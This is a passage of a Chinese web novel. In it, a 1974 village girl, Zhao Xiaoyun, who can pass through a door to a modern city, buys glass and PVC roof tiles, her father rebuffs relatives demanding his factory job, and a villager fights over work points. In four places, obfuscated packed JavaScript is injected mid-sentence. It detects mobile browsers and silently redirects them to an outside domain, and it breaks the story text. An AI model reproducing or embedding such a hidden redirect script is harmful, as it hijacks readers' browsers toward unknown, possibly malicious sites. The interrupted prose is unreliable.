靠近门口的位置就有两三家卖瓷砖和墙漆的，还有一家五金店。 赵小芸先进了五金店里。 之前说给这边院子的大门换一把新锁，一直都没来得及买，现在正好买把锁。 赵小芸挑了一把便宜的门锁，花了十二块钱，顺便和老板打听了下卖瓦片的在哪儿，出来后继续往里面走。 建材市场面积非常大，这边的店铺也非常多，赵小芸看见了许多没见过的稀奇材料和东西。 比如水泥、地板砖，还有马桶等等。 马桶是坐在上面上厕所，可把赵小芸稀奇坏了，心想连上厕所都坐着，这人得有多懒啊！ 还有，那马桶竟然是陶瓷料子，光滑白净，这么好的材料当马桶用，也太浪费了。 赵小芸还见到卖玻璃的，看着干净透亮的玻璃高兴坏了。 家里房子的窗户早就破烂了，现在只是用报纸先糊了一层，暂时挡挡。 赵小芸估摸着家里窗户的大小，买了一大块玻璃，让老板切成四小块，花了五十块钱。 “老板，我还有其他东西要买，拿着玻璃怕一不小心弄碎了，可以先暂时存放在你店里吗？” “当然可以，随便放！”老板笑着说，“不过我店里晚上六点就关门了，你得六点前来拿走，不然就等我第二天开门再来拿。” 赵小芸点头：“好的，谢谢老板。” 从玻璃店里出来，赵小芸继续去找卖瓦片的铺子。 一路走过，看着形形色.色的铺子，卖什么材料的都有，有些材料好多家店都有卖。 可是偏偏没见卖瓦片的店铺，赵小芸一头雾水：“奇怪，这里的材料这么丰富，瓦片这么普通的东西，不应该很常见才对吗？” 这里店铺太多，赵小芸之前虽然问过好几家店的店老板卖瓦片的位置，但还是不好找。 走了许多路，又出了汗，赵小芸感到口干舌燥。 “早知道出来的时候应该带杯水的。” 赵小芸停下来，去阴凉的地方歇了几分钟。 缓过来一些力气后，赵小芸侧头看着旁边的一家店铺，想着进去找老板问问路。 刚进店铺里面，清凉之气扑面而来，瞬间压下了浑身的燥热。 赵小芸只看见是从一个大柜子模样的东西里吹出来的凉风，并不知道这是什么机器。 之前进入的每家店铺里都有这种机器，甚至连之前坐的公交车里都有。 夏天有这种吹凉风的机器，可真是太凉快了。 赵小芸缓缓吐出一口热气，凉爽的冷风甚至都减少了她一些口渴的感觉。 店里摆放着几张小沙发，上面坐着一位有些胖胖的店老板，对方正在喝茶。 看见赵小芸进来，只是抬了下眼睛：“随便看。” 赵小芸问道：“老板，您知道卖瓦片的店在哪儿吗？” “我这儿就有卖的，你要什么瓦？” 惊喜来的猝不及防，赵小芸激动的语无伦次：“就、就那种瓦片，这么大……”边说还边用手比划。 老板吹了口茶叶，喝口茶，淡定地放下茶杯，起身对赵小芸说道：“我这里有样品，你自己看看要什么样的。” 赵小芸心说瓦片也分好多种吗？ 跟着老板来到样品柜前，各种材质的瓦整整齐齐摆放在里面，有些还配有图片和文字说明，让人一目了然。 赵小芸惊呆了，这些“瓦片”，完全不是她认知中的样子。 老板还在旁边解释：“这些瓦的尺寸都能定制，不同的材料价格有差异，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418871|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先看看，确定要哪种之后咱们再计算面积数量。” 赵小芸看着有些呆地点点头。 老板拿一次性杯子，给赵小芸倒了杯水，然后重新回到他的小沙发里，惬意地继续喝茶。 赵小芸谢过老板，把一杯水一口气喝完，再继续看眼前这些东西，看的眼花缭乱。 什么PVC塑料树脂塑钢彩钢、玻纤沥青等等，她听都没听说过。 这些样品面积比较小，只有两个巴掌大小，赵小芸扭头问：“老板，我可以拿出来看看吗？” 老板：“随便看。” 赵小芸拿起“瓦片”仔细摸摸，感受它的材质，还认真看了看图文介绍。 挑来挑去，选了PVC塑料材质的，说这是先进技术制作而成的，有良好的防火性、防水性、防腐性、耐候性等等，价格也相对便宜，十三元一平米。 赵小芸打算买十五平方米的PVC瓦，修理屋顶破损最严重的地方足够了。 “老板，我要这种，要十五平方米。” “好嘞。”老板笑着说，“这边店里的库房里有些存货，足够你要的量了，不过是已经切割成边长一米的正方形，你看看你要不要？不要这些尺寸的话，就等两天，我让工厂里现加工。” 赵小芸觉得一米不长不短，使用起来更方便，不过还是要亲眼看看实物的：“那我先看看。” 老板领着赵小芸去仓库里。 蓝色的PVC瓦切成相同大小，整齐地叠在一起，赵小芸检查了一遍没有问题后，说道：“老板，就要这些吧！” 老板喜上眉梢：“好嘞！” 十五平方米，一共一百九十五元。 来建材市场总共花了二百五十七元，在加上来回四元钱的公交车费，她现在手里还剩下三十二块零三毛。 奶茶店打工五天的工资，几乎要花完了。 老板数出十五张PVC瓦，看向赵小芸：“妹子，你是自己开车了，还是叫车过来拉走？” 她要的这些数量，并不够让店里免费运送。 赵小芸看着这些瓦片，也有些为难怎么搬动。 她想了想问道：“老板，您这里有绳子吗？可以借我点儿绳子把瓦片捆起来吗？” 绑上绳子，有提瓦片的借力点，她背在背上背回去。 反正这里距离公交车站也不是特别远。 “绳子有的。”老板找出一捆绳子，还找了旧纸箱，把瓦片锋利的四角包起来，以免赵小芸不小心被割伤。 赵小芸觉得这样更好了：“谢谢老板。” 付过钱后，她提着绳子要把瓦片背背上。 “小姑娘你这是干什么？”老板吓了一跳，看着赵小芸瘦弱的小身板，生怕这些瓦片把她压折了，“快放下快放下！这么重把你压坏了怎么办？我帮你搬出去，你车在哪里？” “我没车，我背回去。”赵小芸还笑了笑，“谢谢你啊老板，我能背动的，也没多重，而且我到公交站坐公交，没多远的路。” 老板嘴角抽抽，哭笑不得：“你先放下……这样吧，我店里有小板车，借给你用，你用小板车拉总能省点儿力气。” 他直接去把小板车拉过来，帮着把瓦片放到小板车上。 “去公交车站是吧？走，我帮你拉过去。” 赵小芸不好意思：“谢谢老板，这也太麻烦你了，我来拉着就行。” 32. 逼迫 “不麻烦，都到这个时间点儿了，也没啥客人再来了，我全当起来活动活动。” 老板拉着小板车，与赵小芸一起从店里出来。 附近店里的老板都认识，可以帮忙看店，所以老板出来连店门都不用关。 赵小芸都不知道该说什么感谢老板，只能在心里记下。 走到卖玻璃的那家店铺后，赵小芸把自己买的几块玻璃拿出来，然后一路回到了公交车站。 老板把瓦片从小板车上搬下来：“妹子，我回啦。” “老板，真是太谢谢你了。” 老板随意摆了摆手，往回走回店里。 赵小芸等着公交车过来，往这边来的公交车比较少，她多等了一会儿才等到车来。 回去的路线与来时一样，等从公交车上下来，已经是下午五六点了。 赵小芸背着瓦片玻璃，引来路人侧目。 她也没在意，吭哧吭哧闷头往前走。 回到家时累得满头大汗、腰酸背疼，赵小芸把东西放地上，先拿出买来的新锁，把旧锁撬了，换上新的。 瓦片和玻璃她先放在了这边的院子里，这会儿天还没黑，而且正是从地里干活儿回来的时间点，她担心万一被人看见，就自己一个人先穿过门回去。 回来后，赵小芸看着门旁边的豆角架，长得很是茂盛，她进进出出时勉强能遮掩一下，不过并不保险。 赵小芸看着自家的菜园子，琢磨着扎一圈篱笆墙，扎高一些、密一些，别人从外面就看不见了。 穿过菜园子回前院，赵小芸突然听见自家有吵闹声传来，赶紧跑过去。 她跑到前院看见一院子的人，好不热闹。 除了自己爸妈和玲玲小宇，大伯、大伯母、大满哥，三叔、三婶儿，还有爷爷，都聚到她家了。 这让赵小芸仿佛又看到了当初爸说不交公用、一群人跑来她家闹的场景。 “这是在干什么？”赵小芸踏着大步子走出来，裙摆飞扬，走出了不容忽视的犀利气势。 王春花看着赵小芸漂亮的裙子露出嫉妒，语气比之前更不好了：“翠芳，不是我说，你看你们天天吃肉，还给小芸买这么好看的裙子，你们家这么有钱，这么会享受，也不缺一个工作岗位让二哥去劳累吧？暂时把工作给大满又怎么了？” 这话说的忒无耻，赵小芸都给气笑了：“三婶儿，您说的可真对，你和三叔在地里干一年的活儿，赚那么多工分粮食，你们又吃不完，也别小气，给我家分一半呗！” “我家怎么就吃不完了？”王春花不满，还分一半给你们？明明她自己家都不够吃！ 赵小芸冷笑：“那我家里又享受什么了？享受你们要我家的钱，吃我家的粮，压榨我们家……” “行了别吵了！”赵德宗十分不满地看着赵小芸，“小芸，怎么跟你三婶儿说话的？” 赵小芸心中冷嗤，表面上却笑嘻嘻地说：“三婶儿怎么跟我说的，我就怎么回三婶儿啊！爷爷，你是不是也觉得三婶儿说话不中听，没礼貌没教养？” 赵德宗脸上的肉绷得紧紧的，看赵小芸的眼神就像是看大逆不道、以下犯上的乱臣贼子。 或许是意识到赵小芸嘴皮子太厉害，又或者不想和小辈争吵，赵德宗看向赵卫国劝说：“卫国，老大和老三家也都是为你好，你的腿要是累伤了，以后可就是残疾人！你是家里的顶梁柱，你要是倒下了，你让你媳妇还有孩子们咋活？” 赵小芸听到这里，了然。 这是中午那会儿大伯母和三婶儿没达到目的，就拉爷爷过来给爸头上施压啊！ 赵卫国语气十分僵硬，压着即将喷薄而出的情绪：“爸！我也说过了，组织上给我的岗位是坐着干活儿的，累不到我的腿，我也不会变残疾。” 李红霞急切道：“干活儿哪有能一直坐着的？况且你天天上下班要走这么远的路，也还是能累到啊！” 赵卫国冷冷道：“我住厂子里。” “那也不能一年到头一直住厂子里吧？难道家里不管了？又不是前些年去部队里当兵，你现在都回来了哪还能不回家了？这不还是得走远路，非得变成瘸子才后悔吗？可到时候你再后悔也晚了啊！”李红霞十分不以为意地说道。 赵卫国被她不要脸的嘴脸气的险些控制不住动手，不能打大嫂，但能打大哥。 他看了大哥赵胜利一眼，闭了下眼睛，深呼吸一口气，说：“那我就把工作给小芸，给我亲闺女总比给外人好。” 赵德宗冷哼一声：“卫国你别太糊涂了，工作哪里能给女娃子？” “就是就是，大满哪能是外人？那可是你亲侄子！”赵胜利也连忙说。 赵卫国压着火气：“爸，你这思想不正确，女娃怎么了？难道小芸不是我的亲生孩子吗？我把工作给自己亲闺女怎么就不行了？” 李红霞哎呀一声：“女孩儿早晚要嫁出去，你这工作不是白白便宜了外人吗？还不如给我家大满。” 赵卫国只觉得被这些人气得胸闷气短，不耐烦再听他们说话，摆手驱赶他们：“你们都给我走，这个工作岗位我是绝对不可能让出去的。” “卫国！”赵德宗沉声喊，“你是连我这个亲爹的话都不听了吗？你现在怎么变的这么不孝？以前你可是很听话的孩子，是不是有人在你耳边撺掇了什么坏话？” 说着，还朝陈翠芳看了一眼。 赵卫国这一下是再也忍不住了，火气如同水滴溅进滚烫的油锅里，噼里啪啦炸开：“爸！你说这种话就不怕伤我的心吗？我为家里付出了多少心血，您看不见吗？” “当初要我们家分出来，我和翠芳都没说什么，就连家里的粮食财产也只是糊弄着给了一点儿，我们也没跟您闹。” “那时候可是我刚减员回来，小芸被赵金蛋故意推倒伤了脑袋，还有翠芳也怀了孕，家里还有玲玲小宇俩孩子要养，你们这时候把我们分出来……那不叫分出来，是赶出家门！” “爸，你们这是把我们往绝路上逼！现在组织上好不容易落实了我的工作岗位，你们又要抢走，是想逼死我们一家吗？” 赵卫国愤怒又憎恨地与赵德宗对视着。 赵德宗也被气得不轻，胸膛剧烈起伏：“你、你这个逆子，你说的这是什么话！什么叫我们要逼死你们一家？有你这么和亲爹说话的吗？你把我当成什么人了，我在你心里就是这么歹毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422978|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” “算了。”赵卫国无比失望地摇摇头，“爸，我不和你争吵，你从来都不会正视这些问题，所谓的家和万事兴，其实就是牺牲我们一家人的利益，你眼里看不见我们一家的委屈，跟你吵也是白吵。” “我真后悔以前没有多一些‘斤斤计较’，我总想着我不在家，多给您和妈一些钱，多给大哥、三弟四弟家里好处，让他们多照顾照顾翠芳和我的孩子们。” “可我忘了，人心不足，时间久了，你们已经把我的付出当成理所当然。你们甚至习惯了向我索取，我如果拒绝，就是不对，就是欠你们的。” “今天，既然你们不要脸皮，不顾亲情，那我也就把话都说开。我再重复一遍，工作岗位我不可能让给大满，你们现在就离开我家。” “不然反正咱们都分家了，我不介意直接断亲，以后就当陌生人，谁也别沾谁。” 赵德宗如遭雷劈：“你、你说什么？” 他浑身哆嗦着，看起来根本不能接受赵卫国这么无情的说辞。 其他人也惊骇地看着赵卫国。 赵胜利讪笑：“二弟，你看你说的这是什么话，哪里就到这一步了呢？咱们都是一家人，俗话说打断骨头还连着筋呢，一家人哪能说断就断？” “你可别再说这种话了，你看你把咱爸气成什么样了？我知道你最孝顺了，要是爸被你气出什么好歹，心疼伤心的还不是你，你说是吧？” 赵卫国看了一眼仿佛一瞬间苍老许多的赵德宗，沉默地移开视线，又落在赵胜利身上，看着自己这个大哥一脸为自己着想的样子，突然笑了一声。 说的好像是他的错一样。 赵卫国带着嘲讽说道：“既然不想让我断亲，不想让爸伤心，那你们别惦记我的工作岗位，现在就从我家院子里出去不就行了？大哥大嫂、三弟三弟妹，你们可别不孝，把爸气出个好歹。” 他把赵胜利的话全还了回去。 赵胜利几人的脸色都不太好看。 赵卫国看着这些人，转身去拿院子里的大扫帚，学着中午赵小芸那样，哗哗冲着他们用力扫地。 他力气大，地面仿佛都要被大扫帚刮起一层皮，一瞬间尘土飞扬，呛得赵胜利他们剧烈咳嗽起来。 “你们走不走？不走我送你们！”赵卫国这会儿也不想要脸皮了，对这些没皮没脸的人，就该用点儿强硬的手段。 他要是再忍让，家里人都要被欺负死了。 一群人全被赶出了院子外面。 赵德宗勃然大怒，想怒斥赵卫国。 赵卫国笑着说：“爸，你骂的大声点儿，让街坊四邻都来看看咱家的热闹。” 赵德宗可受不了被外人围观自家丑事，憋了半晌，气的脸红脖子粗，最终像只破了洞的气球，瞬间干瘪下去，整个人的精神肉眼可见的萎靡。 临走前，他还说了句软话：“卫国，你也是我亲儿子，这些年你的辛苦我都看在眼里，我也心疼你。” “有些事，有些时候，我可能确实考虑不周，但我是你爸，咱们血浓于水，我不可能会害你。你知道吗？你方才那些话就是往我心口上戳刀子，以后不许再说了，记住了吗？” 33. 检查 记住了吗？赵卫国看着赵德宗冷笑，转身走回去，视他如空气。 赵胜利瞪着眼：“爸，你看二弟现在成什么样子了，对你都敢冷笑白眼。” 赵德宗气急，但却没失去理智，没有在外面大吵大闹，引来街坊邻居看热闹。 “别说了，先回去。” 赵胜利心里不甘，但也不能和亲爸作对。 一群人走了之后，赵小芸家里恢复了平静。 赵小芸有些担心地走到赵卫国身边：“爸，你没事吧？” 不管怎么说，和一家人闹成这样，她担心爸心里不好受。 “放心把闺女，我没事。”赵卫国笑起来，笑容全部发自真心，没一点儿勉强，“我算是想通了，以前的事儿就不说了，都过去了，反正不管怎样都没办法更改，重要的是把往后的日子过好了。” “你大伯他们以后再来咱家占便宜，我不会再纵容。我以前一直认为一家人不能计较太多，兄弟姐妹亲人之间得相亲相爱，可如果他们已经对咱们不顾念亲情，我也不用上赶着给他们占便宜，让自家人受委屈。” 赵小芸松了口气：“爸，你没事就好。对了，我今天去那边的建材市场，买了玻璃和瓦片，可以把咱家的窗户换上新玻璃，屋顶上的洞也能修补了。” 赵卫国说：“我后天就该去上岗了，明天要陪你妈去医院检查身体，还不确定天黑前能不能回来……今天我就把玻璃装上，屋顶修好，省得进厂后我一时半会儿回不来，万一哪天下雨，家里漏雨再被淹了。” 陈翠芳点头：“说的是，咱家的新床和新床垫要是被漏雨打湿，那可是要心疼死我的。卫国，你去修屋顶装玻璃，小芸你给你爸打下手，今天我去做饭。” 赵晨玲和赵晨宇俩人争着举起小手：“妈，我们帮你做饭。” 陈翠芳乐呵呵地：“好，你们来帮妈。” 一家人都开干起来。 赵小芸穿过门把玻璃和PVC瓦拖过来，赵卫国看着深蓝色的瓦，一脸惊讶，还上手摸了摸：“看着像铁片，摸着好像不是，瞧着这么光滑，肯定不会漏水。” 这么一大张瓦，修补屋顶也快。 本来赵卫国以为是泥土烧出来的那种巴掌大的瓦片，还想着一时半会儿修补不完，估计得通宵，没想到竟然是这种一米长的“瓦”。 “小芸，这就是那边的瓦？” 赵小芸点头：“那边瓦的种类可多了，这种是叫PVC塑料的一种材料，耐热、耐腐蚀，不漏水，便宜又好用。” 赵卫国摸着爱不释手：“可真是好材料啊！这么大一张，修起屋顶也快……走，咱们抓紧时间干，等会儿天黑了就不方便了。” 赵卫国去隔壁方夏生家借来梯子，踩着梯子上屋顶，赵小芸在下面给他递东西。 瓦片直接用钉子固定，上面又铺了屋顶原来的旧稻草遮盖，毕竟这个颜色的瓦太亮眼。 要是不遮一遮，别人从他家路过得盯着一直看。 这会儿可没这种瓦，也没地儿能买，别人要是问起来，也说不清。 屋顶修好，赵卫国踩着梯子下来：“暂时先这样，等我放假回来的时候去竹林里砍些竹子，用竹子把这些蓝瓦遮住。” 竹子比稻草结实，也不会像稻草容易生虫、积水。 赵小芸扶着梯子，在赵卫国下来后才松开：“我现在也没下地干活儿，正好有时间，我去竹林里砍竹子。” 赵卫国不赞同皱眉：“你从医院里出来后都没怎么闲下来，得多休息休息，把伤养好。” “我都好差不多了。”赵小芸小声说。 赵卫国没好气说：“你天天教育我，说我不重视自己的腿伤，怎么到你身上就不这么说了？” “我……”赵小芸一脸尴尬，“那好吧，我一定多多休息。” 这几天赚钱赚上头了，也没觉得多累，松懈下来后脑袋的确会偶尔不舒服。 身体才是革命的本钱，她得把身体养好了，才能赚更多钱，让家里过上好日子。 天已经黑了，装玻璃十分不方便，赵小芸说：“爸，装玻璃不难，这个也不是什么累人的活儿，过两天我来装吧！” 赵卫国点头：“那行。” 陈翠芳从灶房里出来，看着父女俩：“都弄好了？正好，饭也好了，过来吃饭。” 赵卫国扛起梯子：“我先去把梯子还了。” 赵小芸去洗手：“屋顶修好了，玻璃还没装，这会儿天黑了看不清，后天我来装。” 陈翠芳点点头。 屋里点了蜡烛，昏暗的烛火随着门口吹进来的风摇晃。 光线虽然暗，但吃饭足够了。 赵小芸夹了一筷子炒鸡蛋，配着粥喝下去，语含羡慕地说道：“要是能把那边的电灯弄过来就好了，那边的灯可亮了，屋里的灯一开，和白天也没啥区别。” 陈翠芳和赵卫国还是想象不到能照的像白天一样的灯长啥样。 玲玲和小宇两张小脸好奇地看过来。 “姐，你说的是哪儿的电灯？” 赵小芸忘了家里的两个小家伙还不知道门的事儿呢，说道：“是省城的电灯。” 两人恍然。 赵晨玲一副向往地说道：“要是咱家有电灯那可就太好了！” 赵小芸看着妹妹笑起来：“虽然咱家现在没电灯，但以后肯定有的。” “爸，妈，等我以后赚钱了，买一部手……照相机，照许多好看的照片给你们看看那边漂亮的灯光和高楼。” “照相机！”玲玲和小宇都没忍住惊呼起来。 赵晨玲饭都忘了吃了，目光灼灼地看着赵小芸：“姐，真的要买照相机吗？” 赵小芸宠溺地说：“对啊，到时候给你们拍好看的照片。” 赵晨玲激动不已：“那我要拍好多张照片，姐，啥时候买照相机？” “这个姐也说不准……好了，赶紧吃饭。”赵小芸心里想着接下来该怎么赚钱。 但是自己在那边没有身份证，想要找工作必须要有身份证，自己是不是应该先去派出所问问身份证咋办？ 在那边虽然没待几天，了解也不是很多，但她不是傻子，那边的国情明显与一九七四年这边不一样。 既然齐宏建议她去派出所问问，想来也不会轻易把她当成敌特分子抓起来。 …… 吃过晚饭后，赵小芸早早就睡了，准备明天早起陪着陈翠芳去医院。 第二天一早，赵小芸早早起床， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439741|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先做了早饭，又烙了几个葱油饼，准备带着中午吃。 吃过早饭，赵小芸拿了六个鸡蛋，把弟弟妹妹叫过来：“玲玲小宇，我和爸妈今天去一趟县城，中午回不来，你们俩中午去隔壁夏生哥家吃午饭。这鸡蛋你们给萍婶儿送去，算是午饭钱。” “知道了姐。”两人接过鸡蛋，乖巧地回答。 赵小芸、陈翠芳和赵卫国带上干粮和水，先去找村长开介绍信。 “去医院？”村长诧异地问道，视线在赵小芸和陈翠芳两人身上移动，最后落在了赵小芸头上，紧张地问，“是小芸头上的伤有问题吗？” 自从赵小芸从省城医院回来，哪怕现在正是抢收割麦子的时间，他都没催着让她一起下地干活儿，就是怕这丫头脑袋上的伤恶化。 脑袋可不比其他地方，要是伤到脑子，说不定人就傻了甚至没了。 赵小芸解释：“叔，我脑袋没事，是我妈去医院检查身体。” 村长顿时松了口气，不过立刻又提起心：“翠芳，你身体哪儿不舒服？是肚子里的娃……” 他没好意思直接说出口，生怕真是娃出了啥问题，说出来后让夫妻俩心里不好受。 赵卫国赶紧点头，但没直说是去检查身体，确认要不要流掉这个孩子，只是说道：“最近翠芳身体不舒服，我担心她，觉得最好去医院看看。” 村长看着陈翠芳，觉得她好像也没什么问题，心里认为赵卫国太小题大做。 村里的妇女连生娃基本都是在村里生，更别说还没生下来就先去医院检查的。 不过村长心里这么想，嘴上却说：“是得重视。” 开好了介绍信，赵小芸和爸妈一起去县城。 三人骑了一辆自行车，还是赵大满那辆，因为赵小芸还没学会骑，就暂时没还回去。 赵卫国骑着车带着陈翠芳，因为一条腿有伤不方便，就只让另一条腿使力。 这么骑车挺累人的，所以赵卫国骑得不快，隔一段时间还要下来休息会儿。 赵小芸则是步行在后面跟着。 要是我学会骑自行车就好了，我就能骑车带着妈去医院，不用让爸带着腿伤劳累。 赵小芸看着前面爸妈的背影，轻轻叹气。 …… 到了医院，赵卫国和赵小芸去办理手续。 要检查的项目有好几项，上午没检查完，中午三人吃了葱油饼，医院里有热水，赵小芸去打了热水回来喝。 医院里也还有热菜热饭，赵小芸去买了一碗热汤给陈翠芳。 本来还想再买热菜，被陈翠芳阻止了。 下午只剩三项检查了，结束后还不到三点钟。 医生在一张条子上签好字，递给陈翠芳：“检查结果十天后过来拿。” 陈翠芳收好字条，回头和赵小芸、赵卫国说：“走吧！回家。” 回去比来时走得慢，花费时间更长，快到村里时，西边落霞已经布满整个天空。 进村的桑树路上，路两边是大片大片的良田，村里人还在田间地头干活儿。 赵小芸看见田里好些人聚在一起，还有争吵声，也不知道发生了什么事。 “爸，妈，你们先回村，我去看看发生啥事了。” 34. 田叔 赵小芸还没走近，就听见一个愤怒的声音。 “他一个天天磨洋工的，凭啥和我计一样的分？我每天这么辛苦干活儿，就我干的最多，也没见给我多计几分！ “他呢？每天干的有我一半多吗？没有！你们也太欺负人了！不就是和你是亲戚吗？记分员了不起吗？你不公平，你根本就不配做记分员！” 赵小芸走近了才看清，愤怒大喊的人是村里的田叔。 田叔是出了名的老实人，平时大队里组织干活儿，最积极响应，他干活儿最卖力，干的又快又好。 现在是怎么了？ 赵小芸看向被田叔指责怒骂的记分员，又看看记分员旁边的人，也是村里一个特别出名的人，别人都叫他老光棍。 老光棍四十多岁了，年轻时就是个出名的混子，偷奸耍滑，但实际上脑子也没那么聪明，干的事儿都让人一言难尽。 没有姑娘家愿意嫁给他，他就这么一直打光棍。 记分员是老光棍的侄子，听田叔的话，是记分员故意给老光棍记分多。 “田叔，你别生气，我也没给你少计分啊！成年男性壮劳力，每天最多记十分，我可是给你记的满分。”记分员说话不紧不慢，十分的慢条斯理，和田叔暴怒的样子形成了鲜明对比。 但他越是这样慢悠悠说话，就显出一股漫不经心的样子来，惹得田叔火气更盛。 “我本来应该每天都能记满分，可你故意每次都把这个老光棍和我分一组，我干的活儿都要分给他一些，要是哪天他不干活儿，我甚至都要分给他一半！我干那么多活儿，可才得一半工分，没有这么欺负人的！” “我知道，你们就是看我老实，才可劲儿地欺负我！我告诉你们，兔子急了还会咬人呢！” 他家里还有老婆孩子爸妈要养，工分赚不够，全家都得饿肚子！ 媳妇在家里骂他窝里横，骂他不争气，就知道被别人欺负，让一家子跟着吃亏受苦。 自己一家子都被搅和的不安宁，可这些人根本不知道适可而止，还变本加厉地更欺负他。 老实人就活该被欺负吗？ 凭什么啊！ 田叔气得胸口起伏的厉害，看着记分员嘴巴张张合合，对方说了什么他的脑子已经听不进去，只觉得这个声音让他烦躁。 他就像是掉进了水里，都快窒息了，这人竟然还按住他的头，不让他浮出水面。 田叔握紧拳头，大喊一声发泄出来，一拳头朝着记分员的脸砸过去。 没人能想到老实人田叔竟然会动拳头。 记分员略有几分白嫩的脸被重重的一拳砸上去，脑袋瞬间歪向一侧，尖锐的疼痛袭来。 记分员惨叫一声，捂着脸蹲下.身，歪过头不可思议地看着田叔。 他嘴里有血腥味儿，是舌头磕在牙齿上，磕破了。 他疼的话都说不出来，平静的面容被打破，终于露出与田叔如出一辙的怒火。 老光棍叫起来：“嘿！你怎么打人啊！我要告诉村长，大家伙儿都看见了，是他田有望故意打我侄子，你们可得给我们作证！” “呸！打了人还想要工分？做梦去吧你！”老光棍冲着田有望吐了口唾沫。 “让你敢打我侄子，我侄子可是记分员，以后你家就都别想要分工了。” 田有望气的失去理智，冲着老光棍也打了过去。 老光棍哎哟一声被田有望踹翻在地，吱哇乱叫：“你们快拦着他啊！哎哟哟！打死人了，田有望要打死人了啊！” “老田，你别冲动。”其他人一看场面要失控了，连忙上去拉住田有望。 田有望发泄出来，现在又被人拉住，那一口气也消散了大半。 看着老光棍嚣张地叫嚣，那一脸欠打的表情，还有记分员冒着火、记仇的狠厉眼神，他顿时觉得浑身无力。 赵小芸在外围看了整个过程，看着田叔精神萎靡的样子，在心里也叹了口气。 从田地里回家，天已经擦黑。 赵小芸洗了把脸，洗去一天的疲乏，长长吐出一口气。 赵卫国在灶房做饭，赵小芸过去一起帮忙。 吃晚饭间，陈翠芳问地里出了什么事，赵小芸简单说了一遍。 陈翠芳摇头叹气：“老实人可不就是吃亏么，都说吃亏是福，我也没瞅见吃亏能有啥福气。” 说这事儿不开心，饭桌上也没再多说，随便换了其他话题。 陈翠芳问：“我听萍萍说媒人给白雪说了亲事，这两天就要和男方相看了吧？” 赵小芸点头：“后天相看。” 陈翠芳笑起来：“也不知道男方长啥样，咱们白雪模样可长得俊俏哟，配谁都能配得上。不过男人模样不重要，勤奋能干性格好就行。” 赵小芸听过不少这类话，以前也不觉得有什么问题。 但去过未来世界之后，在那边见识多了，看着那边的女孩子勤劳工作，自己养活自己，给自己打扮的漂漂亮亮的，活的不知道比一九七四年这边的女孩儿潇洒自在多少倍。 见过更好的风景之后，她的思想也有了一些改变，如今再听这些话，莫名觉得刺耳。 赵小芸忍不住反驳：“妈，我觉得你这话说的不对，男人的长相咋就不重要了？谁愿意天天对着一张丑脸啊！看着肯定就心情不好，那还咋过日子？” 陈翠芳一愣，下意识说：“男人能养家就行，长的好看又不能当饭吃，要是嫁个懒蛋，脸蛋再好看也得饿肚子。” 赵小芸一撇嘴：“妈，你这话就更没理了，就不能找既能干又长的好看的吗？凭啥只能选一样，凭啥只要求女孩子既要能干又要漂亮？” “再说了，养家也根本不是男人一个人干的，家里的家务活不都是女孩子干的？还有地里的活儿，女孩子难道少干了？” “女孩子不就是力气比男人小，凭啥就觉得女孩子干的少了？女孩子还得生孩子呢，一只脚踏进鬼门关，怎么就没人可怜心疼女孩子，反而觉得天经地义？” 生死性命的事儿凭什么天经地义，也太离谱了！ 陈翠芳被赵小芸一通话给说愣了。 最后微微皱眉，回应着她最后一句话：“可女人不就是得生孩子吗？没有孩子怎么能行呢，你看你四叔四婶儿，生不出孩子在村里都没脸，被人看不起，背地里不知道要被嚼多少舌根呢，多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447906|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可怜啊！” “可怜什么啊！”赵小芸鼻子里哼出一股气，“别人说就说，只要别说到我面前来，反正我是不在乎。脸面算什么？自己过得舒坦、活的舒心才最重要。” 陈翠芳和赵卫国都惊讶地看着赵小芸，只觉得闺女变了。 赵小芸盯住弟弟妹妹：“玲玲小宇，以后你们别太看别人脸色，做好自己的事，做好自己就行，别因为别人的看法和脸色委屈自己，记住了吗？” 赵晨玲和赵晨宇乖巧点头：“姐，记住啦！” 陈翠芳哭笑不得：“你别教坏玲玲和小宇了。” 